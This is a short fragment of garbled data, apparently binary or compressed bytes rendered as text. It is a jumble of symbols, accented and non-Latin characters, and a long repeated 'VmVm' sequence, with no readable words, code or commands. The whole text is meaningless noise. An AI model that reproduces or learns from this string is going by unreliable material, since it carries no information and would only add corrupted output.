=P($NDS!_{TD4ÂHx[;?bcYۮeX@bEB!#Eu`;q^mjFs'trÆ U6gת,ރq] 3!xx&&Rh;b7h\]kf.쮝Or5VE"ɄP&>rrh 85+' sDUD3ȫS8ޢ u+ol`)VfMalwx;V;zQ5 0 ';qq^>rXzGHZK/);tiԴ /~utr!LܺlzڶҘLl Pds6S }6LdrNheZ)%N=4M I@2_UP؁{k9[y$Ӏ9;@{%€ѥ`g`.hvrmlSH+#ʩ>/@md/ڪ̯M֬܇TG'VmVmVmVmVmVmVmVmVmVmVmVmVm~E?޼P